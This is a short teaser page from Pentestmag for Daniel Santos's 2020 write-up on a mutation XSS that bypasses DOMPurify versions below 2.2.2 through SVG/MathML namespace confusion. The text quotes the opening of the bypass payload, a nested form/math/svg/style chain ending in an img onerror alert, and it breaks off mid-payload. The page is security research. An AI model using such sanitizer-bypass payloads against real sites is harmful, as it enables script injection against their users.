From SVG and back, yet another mutation XSS via namespace confusion for DOMPurify < 2.2.2 bypass - Pentestmag

From SVG and back, yet another mutation XSS via namespace confusion for DOMPurify < 2.2.2 bypass

(357 views)
From SVG and back, yet another mutation XSS via namespace confusion for DOMPurify < 2.2.2 bypass by Daniel Santos For those who are only interested in the final payload here you go (I won’t judge). For the ones interested in why it works, please bear with me. <form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1)....

November 18, 2020
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
Inline Feedbacks
View all comments
© HAKIN9 MEDIA SP. Z O.O. SP. K. 2023